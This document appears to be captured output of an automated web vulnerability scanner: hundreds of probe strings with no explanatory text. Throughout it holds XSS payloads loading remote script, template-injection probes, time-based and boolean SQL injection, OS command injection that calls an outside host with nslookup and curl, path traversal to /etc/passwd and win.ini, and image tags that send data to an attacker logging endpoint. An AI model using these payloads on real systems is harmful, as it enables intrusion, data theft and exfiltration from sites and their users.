\xf6<img zzz onmouseover=UeDP(91481) //\xf6>

\xf6<img zzz onmouseover=My1n(90981) //\xf6>

555<aYDwnbz<

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9821></ScRiPt>

555<input autofocus onfocus=My1n(9030)>

555\u003CScRiPt\G28I(9200)\u003C/sCripT\u003E

555<input autofocus onfocus=UeDP(9804)>

555<ScRiPt >KIaS(9295)</ScRiPt>

dfb[[${98991*97996}]]xca

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

555&lt

555<svg  \xa0onload=KIaS(9077)

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >mPtg(9874)</ScRiPt>

\xf6<img zzz onmouseover=G28I(92981) //\xf6>

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=KIaS(9114)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=G28I(9205)>

'"()&%<zzz><ScRiPt >mPtg(9393)</ScRiPt>

555}body{zzz:Expre/**/SSion(UeDP(9907))}

555<iframe src='data:text/html

555<ScRiPt >Q0fC(9942)</ScRiPt>

555}body{zzz:Expre/**/SSion(My1n(9017))}

555'"()&%<zzz><ScRiPt >THmV(9193)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555WpPY9 <ScRiPt >UeDP(9233)</ScRiPt>

5559139232

555<WKBDOU>9RBFL[!+!]</WKBDOU>

<a HrEF=jaVaScRiPT:>

555<body onload=KIaS(9166)>

555<WUXGAE>CT7EA[!+!]</WUXGAE>

555YxY3w <ScRiPt >My1n(9542)</ScRiPt>

555}body{zzz:Expre/**/SSion(G28I(9248))}

'"()&%<zzz><ScRiPt >THmV(9302)</ScRiPt>

555<script>Q0fC(9852)</script>

555<img src=//xss.bxss.me/t/dot.gif onload=KIaS(9672)>

bfg10289\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10289

555<ifRAme sRc=9785.com></IfRamE>

5559043772

555<img src=xyz OnErRor=KIaS(9170)>

555<script>Q0fC(9605)</script>9605

bfgx7314\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7314

555<WGAUN5>BJSMA[!+!]</WGAUN5>

555mPl9s <ScRiPt >G28I(9495)</ScRiPt>

555<ifRAme sRc=9789.com></IfRamE>

555<WV7LSR>SGZTF[!+!]</WV7LSR>

<%={{={@{#{${dfb}}%>

555<aRI4yzL x=9882>

bfg6404\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6404

555<img/src=">" onerror=alert(9046)>

555<ScR<ScRiPt>IpT>Q0fC(9997)</sCr<ScRiPt>IpT>

555

555<ifRAme sRc=9203.com></IfRamE>

555<img sRc='http://attacker-9745/log.php?

bfgx7044\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7044

%35%35%35%3C%53%63%52%69%50%74%20%3E%4B%49%61%53%289809%29%3C%2F%73%43%72%69%70%54%3E

555<aiXLFkO x=9805>

<th:t="${dfb}#foreach

555<agelBzE<

555<aNYOU1z x=9611>

555<ScRiPt >Q0fC(9624)</ScRiPt>

555\u003CScRiPt\KIaS(9112)\u003C/sCripT\u003E

<%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9653/log.php?

555

555<img sRc='http://attacker-9532/log.php?

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9464></ScRiPt>

555&lt

555<amkXZ4w<

555<aV6Hlz5<

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >Q0fC(9242)</ScRiPt>

\xf6<img zzz onmouseover=KIaS(90811) //\xf6>

555

555

555<svg  \xa0onload=Q0fC(9468)

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=Q0fC(9464)>

555<input autofocus onfocus=KIaS(9539)>

dfb[[${98991*97996}]]xca

555

555<iframe src='data:text/html

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

dfb{{98991*97996}}xca

555<body onload=Q0fC(9841)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=jaVaScRiPT:>

555<img src=//xss.bxss.me/t/dot.gif onload=Q0fC(9320)>

555}body{zzz:Expre/**/SSion(KIaS(9073))}

dfb[[${98991*97996}]]xca

555<img src=xyz OnErRor=Q0fC(9058)>

555<ScRiPt >mPtg(9831)</ScRiPt>

555Tl0fF <ScRiPt >KIaS(9992)</ScRiPt>

555<img/src=">" onerror=alert(9771)>

dfb__${98991*97996}__::.x

555<WTJMXI>J5SYV[!+!]</WTJMXI>

555<WILQBJ>VGVZN[!+!]</WILQBJ>

%35%35%35%3C%53%63%52%69%50%74%20%3E%51%30%66%43%289723%29%3C%2F%73%43%72%69%70%54%3E

555<script>mPtg(9228)</script>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ifRAme sRc=9576.com></IfRamE>

555\u003CScRiPt\Q0fC(9303)\u003C/sCripT\u003E

555<script>mPtg(9121)</script>9121

555<a7uxXXN x=9791>

555<ScRiPt >THmV(9599)</ScRiPt>

555&lt

555<ScR<ScRiPt>IpT>mPtg(9800)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9565/log.php?

555<WX3V87>STCXF[!+!]</WX3V87>

\xf6<img zzz onmouseover=Q0fC(91741) //\xf6>

555<ScRiPt >mPtg(9055)</ScRiPt>

555<aDSDsBc<

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9811></ScRiPt>

555<script>THmV(9850)</script>

555<input autofocus onfocus=Q0fC(9327)>

<a HrEF=http://xss.bxss.me></a>

555<script>THmV(9013)</script>9013

555<ScRiPt >mPtg(9691)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<ScR<ScRiPt>IpT>THmV(9088)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=mPtg(9916)

555}body{zzz:Expre/**/SSion(Q0fC(9632))}

555<ScRiPt >THmV(9997)</ScRiPt>

555<isindex type=image src=1 onerror=mPtg(9517)>

555QJNUV <ScRiPt >Q0fC(9051)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9676></ScRiPt>

555<iframe src='data:text/html

555<WFGJO8>TQAAQ[!+!]</WFGJO8>

555<ScRiPt >THmV(9505)</ScRiPt>

555<body onload=mPtg(9886)>

555<ifRAme sRc=9560.com></IfRamE>

555<svg  \xa0onload=THmV(9078)

555<img src=//xss.bxss.me/t/dot.gif onload=mPtg(9816)>

555<isindex type=image src=1 onerror=THmV(9180)>

555<img src=xyz OnErRor=mPtg(9913)>

555<a2Cskr9 x=9443>

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9711)>

555<img sRc='http://attacker-9161/log.php?

555<body onload=THmV(9681)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6D%50%74%67%289713%29%3C%2F%73%43%72%69%70%54%3E

555<aYdUakg<

555'"()&%<zzz><ScRiPt >F8fZ(9390)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=THmV(9188)>

555'"()&%<zzz><ScRiPt >leqS(9611)</ScRiPt>

555\u003CScRiPt\mPtg(9071)\u003C/sCripT\u003E

555<img src=xyz OnErRor=THmV(9834)>

'"()&%<zzz><ScRiPt >F8fZ(9157)</ScRiPt>

555'"()&%<zzz><ScRiPt >6N9U(9713)</ScRiPt>

'"()&%<zzz><ScRiPt >leqS(9655)</ScRiPt>

555&lt

555'"()&%<zzz><ScRiPt >3s0Z(9527)</ScRiPt>

5559145863

'"()&%<zzz><ScRiPt >6N9U(9617)</ScRiPt>

555<img/src=">" onerror=alert(9180)>

\xf6<img zzz onmouseover=mPtg(91931) //\xf6>

'"()&%<zzz><ScRiPt >3s0Z(9500)</ScRiPt>

5559473256

bfg10102\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10102

5559341692

%35%35%35%3C%53%63%52%69%50%74%20%3E%54%48%6D%56%289287%29%3C%2F%73%43%72%69%70%54%3E

5559287502

555<input autofocus onfocus=mPtg(9850)>

bfgx2862\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2862

bfg4059\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4059

bfg2031\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2031

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\THmV(9097)\u003C/sCripT\u003E

<%={{={@{#{${dfb}}%>

bfg7521\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7521

bfgx10281\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10281

555&lt

555

bfgx3571\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3571

<a HrEF=jaVaScRiPT:>

bfgx9400\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9400

\xf6<img zzz onmouseover=THmV(96821) //\xf6>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(mPtg(9767))}

555<input autofocus onfocus=THmV(9236)>

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555

555

555mrs9b <ScRiPt >mPtg(9251)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555

<th:t="${dfb}#foreach

555<WMJ5TT>LWMBZ[!+!]</WMJ5TT>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

<a HrEF=jaVaScRiPT:>

555

555

555<ifRAme sRc=9694.com></IfRamE>

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(THmV(9657))}

555<aJuf1iU x=9767>

555

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

555hGs6B <ScRiPt >THmV(9846)</ScRiPt>

555

dfb{98991*97996}xca

555<img sRc='http://attacker-9749/log.php?

555<WWQRRK>D5N8U[!+!]</WWQRRK>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

dfb${98991*97996}xca

"}}dfb{{98991*97996}}xca

555<aRMeway<

555<ifRAme sRc=9851.com></IfRamE>

555

"%}dfb{{98991*97996}}xca

dfb#{98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"}dfb{98991*97996}xca

555<aDt795h x=9020>

dfb{{98991*97996}}xca

555<ScRiPt >F8fZ(9418)</ScRiPt>

555<img sRc='http://attacker-9087/log.php?

dfb[[${98991*97996}]]xca

"}dfb${98991*97996}xca

dfb{#98991*97996}xca

555<W0AYE2>LNKOX[!+!]</W0AYE2>

dfb__${98991*97996}__::.x

dfb{@98991*97996}xca

555<axtysLR<

"}dfb#{98991*97996}xca

555<script>F8fZ(9467)</script>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{=98991*97996}}xca

555<ScRiPt >3s0Z(9519)</ScRiPt>

"}dfb{#98991*97996}xca

dfb@(98991*97996)xca

555<script>F8fZ(9916)</script>9916

555<WPOKH3>OGYKS[!+!]</WPOKH3>

"}dfb{@98991*97996}xca

555<ScR<ScRiPt>IpT>F8fZ(9051)</sCr<ScRiPt>IpT>

dfb<%=98991*97996%>xca

555<script>3s0Z(9715)</script>

"}}dfb{{=98991*97996}}xca

555<ScRiPt >F8fZ(9639)</ScRiPt>

dfb#set($x=98991*97996)${x}xca

555<script>3s0Z(9118)</script>9118

")dfb@(98991*97996)xca

dfb{{"abc"|title}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9773></ScRiPt>

555<ScR<ScRiPt>IpT>3s0Z(9864)</sCr<ScRiPt>IpT>

"%>dfb<%=98991*97996%>xca

555<ScRiPt >F8fZ(9193)</ScRiPt>

555<ScRiPt >3s0Z(9649)</ScRiPt>

print("dfb" . 98991*97996 . "xca")

"}dfb#set($x=98991*97996)${x}xca

98991*97996*98991*97996

555<svg  \xa0onload=F8fZ(9352)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9653></ScRiPt>

555<isindex type=image src=1 onerror=F8fZ(9873)>

"}dfb{{"abc"|title}}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >3s0Z(9323)</ScRiPt>

"print("dfb" . 98991*97996 . "xca")

555<iframe src='data:text/html

dfb{{{this}}}xca

555<svg  \xa0onload=3s0Z(9129)

"98991*97996*98991*97996

555<isindex type=image src=1 onerror=3s0Z(9908)>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

#{98991*97996*98991*97996}

555<body onload=F8fZ(9295)>

555<iframe src='data:text/html

dfb#{xca}=123

555<img src=//xss.bxss.me/t/dot.gif onload=F8fZ(9943)>

"}}}dfb{{{this}}}xca

555<body onload=3s0Z(9388)>

dfb{{'abcd'.toUpperCase()}}xca

"}#{98991*97996*98991*97996}

555<img src=xyz OnErRor=F8fZ(9547)>

555<img src=//xss.bxss.me/t/dot.gif onload=3s0Z(9767)>

"}dfb#{xca}=123

555<img/src=">" onerror=alert(9775)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img src=xyz OnErRor=3s0Z(9903)>

"}}dfb{{'abcd'.toUpperCase()}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%46%38%66%5A%289852%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9418)>

555\u003CScRiPt\F8fZ(9334)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%33%73%30%5A%289644%29%3C%2F%73%43%72%69%70%54%3E

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb[[${98991*97996}]]xca

555&lt

dfb__${98991*97996}__::.x

555\u003CScRiPt\3s0Z(9595)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=F8fZ(93071) //\xf6>

"}}dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

"}dfb[[${98991*97996}]]xca

555<input autofocus onfocus=F8fZ(9556)>

555<ScRiPt >leqS(9786)</ScRiPt>

\xf6<img zzz onmouseover=3s0Z(95871) //\xf6>

"dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

555<input autofocus onfocus=3s0Z(9191)>

555<WPFGGV>KEP7M[!+!]</WPFGGV>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

555<script>leqS(9694)</script>

'}}dfb{{98991*97996}}xca

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

'%}dfb{{98991*97996}}xca

555<script>leqS(9960)</script>9960

555}body{zzz:Expre/**/SSion(F8fZ(9577))}

555}body{zzz:Expre/**/SSion(3s0Z(9025))}

'}dfb{98991*97996}xca

555<ScR<ScRiPt>IpT>leqS(9966)</sCr<ScRiPt>IpT>

555s7EKO <ScRiPt >F8fZ(9858)</ScRiPt>

555NCI80 <ScRiPt >3s0Z(9242)</ScRiPt>

'}dfb${98991*97996}xca

555<ScRiPt >leqS(9375)</ScRiPt>

555<WWYXGO>JH08P[!+!]</WWYXGO>

555<WSCLPX>A7GLH[!+!]</WSCLPX>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9128></ScRiPt>

'}dfb#{98991*97996}xca

555<ifRAme sRc=9134.com></IfRamE>

555

555<ifRAme sRc=9303.com></IfRamE>

555<ScRiPt >leqS(9096)</ScRiPt>

555

'}dfb{#98991*97996}xca

1dcrEpCEAO

echo bhbvsf$()\ kwhweb\nz^xyu||a #' &echo bhbvsf$()\ kwhweb\nz^xyu||a #|" &echo bhbvsf$()\ kwhweb\nz^xyu||a #

555

555<aqEVX1V x=9071>

&echo mzpfnc$()\ hixpgp\nz^xyu||a #' &echo mzpfnc$()\ hixpgp\nz^xyu||a #|" &echo mzpfnc$()\ hixpgp\nz^xyu||a #

555<ahMISJS x=9249>

555&echo olpvli$()\ bldqhd\nz^xyu||a #' &echo olpvli$()\ bldqhd\nz^xyu||a #|" &echo olpvli$()\ bldqhd\nz^xyu||a #

response.write(9147623*9613349)

555<svg  \xa0onload=leqS(9267)

|echo phivwy$()\ dpyrvw\nz^xyu||a #' |echo phivwy$()\ dpyrvw\nz^xyu||a #|" |echo phivwy$()\ dpyrvw\nz^xyu||a #

555eYYGKa85

'+response.write(9147623*9613349)+'

555|echo hayial$()\ udxpho\nz^xyu||a #' |echo hayial$()\ udxpho\nz^xyu||a #|" |echo hayial$()\ udxpho\nz^xyu||a #

555<img sRc='http://attacker-9509/log.php?

"+response.write(9147623*9613349)+"

555

555<img sRc='http://attacker-9016/log.php?

gYFPGTkQ

555

'}dfb{@98991*97996}xca

(nslookup -q=cname hitlemszpmwyu5ab0f.bxss.me||curl hitlemszpmwyu5ab0f.bxss.me))

555

zjOA2hyC: 6yfcIqHA

555

555

$(nslookup -q=cname hitifwtpwuvye21b31.bxss.me||curl hitifwtpwuvye21b31.bxss.me)

-1 OR 2+169-169-1=0+0+0+1 --

555<isindex type=image src=1 onerror=leqS(9367)>

555<a0P9A1H<

-1 OR 2+622-622-1=0+0+0+1

&nslookup -q=cname hitfwrgunghnabde3e.bxss.me&'\"`0&nslookup -q=cname hitfwrgunghnabde3e.bxss.me&`'

../../../../../../../../../../../../../../etc/passwd

555<aVpzjTj<

&(nslookup -q=cname hitnddazcpxbk5575d.bxss.me||curl hitnddazcpxbk5575d.bxss.me)&'\"`0&(nslookup -q=cname hitnddazcpxbk5575d.bxss.me||curl hitnddazcpxbk5575d.bxss.me)&`'

'}}dfb{{=98991*97996}}xca

555

../../../../../../../../../../../../../../windows/win.ini

-1' OR 2+186-186-1=0+0+0+1 --

555<esi:include src="http://bxss.me/rpb.png"/>

|(nslookup -q=cname hitnmadanffju355fc.bxss.me||curl hitnmadanffju355fc.bxss.me)

-1' OR 2+406-406-1=0+0+0+1 or 'KBrJYs8x'='

12345'"\'\")

555

${9999771+10000033}

')dfb@(98991*97996)xca

file:///etc/passwd

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555<iframe src='data:text/html

-1" OR 2+765-765-1=0+0+0+1 --

`(nslookup -q=cname hitelhndbyjrh80c2f.bxss.me||curl hitelhndbyjrh80c2f.bxss.me)`

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555&n946274=v922430

555

555

)

555

555*if(now()=sysdate(),sleep(15),0)

!(()&&!|*|*|

'%>dfb<%=98991*97996%>xca

Http://bxss.me/t/fit.txt

555

^(#$!@#$)(()))******

555<body onload=leqS(9697)>

555

../555

http://bxss.me/t/fit.txt?.jpg

555

|(nslookup${IFS}-q${IFS}cname${IFS}hitqykwvxhizy69f78.bxss.me||curl${IFS}hitqykwvxhizy69f78.bxss.me)

555

555

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

555

555

555

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

/etc/shells

&(nslookup${IFS}-q${IFS}cname${IFS}hitkirlcfcrnj3f9a9.bxss.me||curl${IFS}hitkirlcfcrnj3f9a9.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkirlcfcrnj3f9a9.bxss.me||curl${IFS}hitkirlcfcrnj3f9a9.bxss.me)&`'

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

'}dfb#set($x=98991*97996)${x}xca

555

555

555

555-1

'.gethostbyname(lc('hitbl'.'nssgfgduca27d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(73).chr(118).chr(77).'

../../../../../../../../../../../../../../etc/shells

555<img src=//xss.bxss.me/t/dot.gif onload=leqS(9400)>

555

555

555-1)

c:/windows/win.ini

".gethostbyname(lc("hityo"."xhkwhlec1b091.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(86).chr(107).chr(79)."

bxss.me

gethostbyname(lc('hitay'.'dkmiyimie8f34.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(81).chr(122).chr(71)

'"()

555

555

555

'

555'&&sleep(27*1000)*limqmn&&'

"

'}dfb{{"abc"|title}}xca

555

HttP://bxss.me/t/xss.html?%00

555

555<img src=xyz OnErRor=leqS(9519)>

bxss.me/t/xss.html?%00

555

555"&&sleep(27*1000)*ftzlcf&&"

555-1 waitfor delay '0:0:15' --

555

555

${@print(md5(31337))}

555

555

555'||sleep(27*1000)*wdjedr||'

555

555

555"||sleep(27*1000)*ongbuu||"

${@print(md5(31337))}\

"+"A".concat(70-3).concat(22*4).concat(97).concat(78).concat(116).concat(80)+(require"socket" Socket.gethostbyname("hitdh"+"kxkoswfp91f20.bxss.me.")[3].to_s)+"

555

555

555

comments

'print("dfb" . 98991*97996 . "xca")

555r96LYRHg'

555

555<img/src=">" onerror=alert(9471)>

'+'A'.concat(70-3).concat(22*4).concat(117).concat(84).concat(115).concat(83)+(require'socket' Socket.gethostbyname('hitpg'+'fzdatyske5621.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

555

555

555

comments

'A'.concat(70-3).concat(22*4).concat(116).concat(88).concat(102).concat(88)+(require'socket' Socket.gethostbyname('hitdm'+'wcyqkufl396dd.bxss.me.')[3].to_s)

555

555

555-1 OR 796=(SELECT 796 FROM PG_SLEEP(15))--

555

555

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%65%71%53%289504%29%3C%2F%73%43%72%69%70%54%3E

comments/.

555

555

'98991*97996*98991*97996

555

555

555

555-1) OR 307=(SELECT 307 FROM PG_SLEEP(15))--

555

555

555

555

555

555

555

555

555

555

555

555\u003CScRiPt\leqS(9411)\u003C/sCripT\u003E

555-1)) OR 723=(SELECT 723 FROM PG_SLEEP(15))--

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'"

555

555

xfs.bxss.me

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555

555

<!--

555

555

555

555

555'"()&%<zzz><ScRiPt >D5ws(9276)</ScRiPt>

555XCGINFE3' OR 458=(SELECT 458 FROM PG_SLEEP(15))--

555

555

555&lt

'"()&%<zzz><ScRiPt >D5ws(9477)</ScRiPt>

555

'}}}dfb{{{this}}}xca

5559746160

555CebI2Ngy') OR 81=(SELECT 81 FROM PG_SLEEP(15))--

\xf6<img zzz onmouseover=leqS(93811) //\xf6>

555

555jaILsQON')) OR 964=(SELECT 964 FROM PG_SLEEP(15))--

555

'}#{98991*97996*98991*97996}

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555<input autofocus onfocus=leqS(9826)>

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'}dfb#{xca}=123

<a HrEF=http://xss.bxss.me></a>

555'"

555\xc0\xa7\xc0\xa2%2527%2522\'\"

@@nkUYy

'}}dfb{{'abcd'.toUpperCase()}}xca

<a HrEF=jaVaScRiPT:>

555

555

555}body{zzz:Expre/**/SSion(leqS(9498))}

555

555

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555

555

555auaJF <ScRiPt >leqS(9073)</ScRiPt>

555

555

'}}dfb{{98991*97996}}xca

555<WZBGXP>Y6ALY[!+!]</WZBGXP>

555

555

555

'}dfb[[${98991*97996}]]xca

555<ifRAme sRc=9223.com></IfRamE>

555

555

'dfb__${98991*97996}__::.x

555

555<a8yTgnu x=9946>

555

555

555

555

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<img sRc='http://attacker-9475/log.php?

555

555<a5rxqw8<

555

1}}dfb{{98991*97996}}xca

555

1%}dfb{{98991*97996}}xca

1}dfb{98991*97996}xca

1}dfb${98991*97996}xca

1}dfb#{98991*97996}xca

1}dfb{#98991*97996}xca

1}dfb{@98991*97996}xca

1}}dfb{{=98991*97996}}xca

1)dfb@(98991*97996)xca

1%>dfb<%=98991*97996%>xca

1}dfb#set($x=98991*97996)${x}xca

1}dfb{{"abc"|title}}xca

1print("dfb" . 98991*97996 . "xca")

198991*97996*98991*97996

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

1}}}dfb{{{this}}}xca

1}#{98991*97996*98991*97996}

1}dfb#{xca}=123

555'"()&%<zzz><ScRiPt >ZPP2(9903)</ScRiPt>

1}}dfb{{'abcd'.toUpperCase()}}xca

555'"()&%<zzz><ScRiPt >hrjJ(9525)</ScRiPt>

'"()&%<zzz><ScRiPt >ZPP2(9086)</ScRiPt>

555'"()&%<zzz><ScRiPt >qqJ1(9226)</ScRiPt>

'"()&%<zzz><ScRiPt >hrjJ(9727)</ScRiPt>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

5559220954

'"()&%<zzz><ScRiPt >qqJ1(9032)</ScRiPt>

5559411722

1}}dfb{{98991*97996}}xca

bfg5453\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5453

5559771330

1}dfb[[${98991*97996}]]xca

bfg8424\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8424

bfgx5356\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5356

1dfb__${98991*97996}__::.x

bfgx10550\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10550

<%={{={@{#{${dfb}}%>

bfg4663\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4663

<%={{={@{#{${dfb}}%>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555

555<ScRiPt >6N9U(9333)</ScRiPt>

bfgx1488\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1488

<th:t="${dfb}#foreach

555

<%={{={@{#{${dfb}}%>

555<WPGSCN>CPPSV[!+!]</WPGSCN>

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555<script>6N9U(9355)</script>

dfb{{98991*97996}}xca

555

555<script>6N9U(9381)</script>9381

dfb{{98991*97996}}xca

555

dfb{98991*97996}xca

555<ScR<ScRiPt>IpT>6N9U(9030)</sCr<ScRiPt>IpT>

dfb{{98991*97996}}xca

dfb${98991*97996}xca

dfb{98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb#{98991*97996}xca

555<ScRiPt >6N9U(9893)</ScRiPt>

dfb${98991*97996}xca

dfb{#98991*97996}xca

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9661></ScRiPt>

dfb#{98991*97996}xca

dfb{@98991*97996}xca

dfb{{98991*97996}}xca

dfb{#98991*97996}xca

555<ScRiPt >6N9U(9513)</ScRiPt>

dfb{{=98991*97996}}xca

dfb{@98991*97996}xca

dfb[[${98991*97996}]]xca

dfb@(98991*97996)xca

555<svg  \xa0onload=6N9U(9760)

dfb__${98991*97996}__::.x

dfb{{=98991*97996}}xca

dfb<%=98991*97996%>xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=6N9U(9789)>

dfb@(98991*97996)xca

555<ScRiPt >qqJ1(9910)</ScRiPt>

555<iframe src='data:text/html

dfb#set($x=98991*97996)${x}xca

dfb<%=98991*97996%>xca

555<WVDD7H>EIPLV[!+!]</WVDD7H>

dfb#set($x=98991*97996)${x}xca

555<body onload=6N9U(9415)>

dfb{{"abc"|title}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=6N9U(9504)>

print("dfb" . 98991*97996 . "xca")

dfb{{"abc"|title}}xca

555<script>qqJ1(9051)</script>

555<img src=xyz OnErRor=6N9U(9948)>

print("dfb" . 98991*97996 . "xca")

555<script>qqJ1(9693)</script>9693

98991*97996*98991*97996

555<img/src=">" onerror=alert(9068)>

98991*97996*98991*97996

555<ScR<ScRiPt>IpT>qqJ1(9610)</sCr<ScRiPt>IpT>

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%4E%39%55%289583%29%3C%2F%73%43%72%69%70%54%3E

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >qqJ1(9736)</ScRiPt>

dfb{{{this}}}xca

555\u003CScRiPt\6N9U(9285)\u003C/sCripT\u003E

dfb{{{this}}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9590></ScRiPt>

555&lt

#{98991*97996*98991*97996}

555<ScRiPt >qqJ1(9271)</ScRiPt>

#{98991*97996*98991*97996}

\xf6<img zzz onmouseover=6N9U(90131) //\xf6>

dfb#{xca}=123

555<svg  \xa0onload=qqJ1(9577)

dfb#{xca}=123

555<input autofocus onfocus=6N9U(9194)>

555<isindex type=image src=1 onerror=qqJ1(9085)>

dfb{{'abcd'.toUpperCase()}}xca

dfb{{'abcd'.toUpperCase()}}xca

<a HrEF=http://xss.bxss.me></a>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<iframe src='data:text/html

dfb{{98991*97996}}xca

<a HrEF=jaVaScRiPT:>

555<body onload=qqJ1(9322)>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

